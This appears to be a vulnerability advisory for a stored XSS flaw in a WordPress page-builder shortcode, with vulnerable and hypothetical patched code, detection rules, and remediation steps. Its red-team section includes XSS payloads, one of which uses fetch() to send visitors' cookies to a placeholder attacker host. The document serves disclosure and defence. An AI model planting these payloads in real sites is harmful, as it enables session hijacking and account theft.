CVE-2025-11747

Executive Summary

CVE-2025-11747 is a Stored Cross-Site Scripting (XSS) vulnerability in the Colibri Page Builder plugin for WordPress, affecting all versions up to and including 1.0.345. The flaw resides in the colibri_blog_posts shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further compromise.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The plugin’s failure to sanitize shortcode attributes is the root cause.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files by comparing checksums against the repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes this a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the colibri_blog_posts shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., category, order, posts_per_page) before rendering them in the HTML output. An attacker with Contributor-level access can craft a shortcode like:

[colibri_blog_posts category="<script>alert('XSS')</script>"]

When the shortcode is processed, the malicious attribute is inserted into the page’s HTML without escaping, causing the script to execute in the browser of any visitor.

The attack flow:

1. Attacker logs in with Contributor role.
2. Creates or edits a post/page and inserts the malicious shortcode.
3. The shortcode is stored in the WordPress database.
4. When any user (including admins) views the page, the injected script runs.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.0.345):

// In colibri-page-builder/shortcodes/blog-posts.php
function colibri_blog_posts_shortcode($atts) {
    $category = $atts['category']; // No sanitization
    $output = '<div class="blog-posts" data-category="' . $category . '">';
    // ... rest of shortcode logic
    return $output;
}

Patched Code (Hypothetical):

function colibri_blog_posts_shortcode($atts) {
    $category = sanitize_text_field($atts['category']); // Sanitize input
    $output = '<div class="blog-posts" data-category="' . esc_attr($category) . '">'; // Escape output
    // ... rest of shortcode logic
    return $output;
}

The patch would involve using sanitize_text_field() for input and esc_attr() for output to prevent XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Colibri Page Builder <= 1.0.345
• Contributor-level account

Steps:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. In the content editor, insert the following shortcode:

   [colibri_blog_posts category="<img src=x onerror=alert(document.cookie)>"]
   

4. Publish or update the post.
5. When any user visits the post, the JavaScript executes.

Advanced Payload:

[colibri_blog_posts posts_per_page="1" order="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts containing [colibri_blog_posts with suspicious attributes (e.g., <script>, onerror, onload).
• Use WAF rules to block shortcode attributes containing HTML/JavaScript.

Hardening:

• Disable the plugin if not essential.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/colibri-page-builder/shortcodes/blog-posts.php (version <= 1.0.345)
• Database: Posts/pages containing [colibri_blog_posts with unescaped HTML attributes.
• Network: Outbound requests to attacker-controlled domains from compromised WordPress instances.
• Logs: WordPress audit logs showing shortcode modifications by Contributor-level users.

Detection Engineering

YARA Rule

rule colibri_xss_shortcode {
    meta:
        description = "Detects malicious shortcode attributes in Colibri Page Builder"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11747"
    strings:
        $shortcode = "[colibri_blog_posts"
        $xss_pattern = /<[^>]*script[^>]*>|<[^>]*on\w+\s*=/i
    condition:
        $shortcode and $xss_pattern
}

Sigma Rule

title: Colibri Page Builder Stored XSS via Shortcode
id: cve-2025-11747
status: experimental
description: Detects stored XSS attempts via colibri_blog_posts shortcode
author: Valters IT
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1  # Post creation/update
        PostContent|contains: '[colibri_blog_posts'
        PostContent|re: '<[^>]*script[^>]*>|<[^>]*on\w+\s*='
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11747 Colibri Page Builder Stored XSS"; flow:to_server,established; content:"[colibri_blog_posts"; nocase; pcre:"/<[^>]*script[^>]*>|<[^>]*on\w+\s*=/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for operations.
2. Restrict Contributor roles to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block shortcode attributes containing HTML/JavaScript.

Long-term Fix:

• Apply the vendor patch once released (currently UNKNOWN).
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

• Use a security plugin (e.g., Wordfence) to block XSS attempts.
• Manually patch the vulnerable file by adding sanitize_text_field() and esc_attr() to the shortcode handler.

Valters IT
Securing Digital Frontiers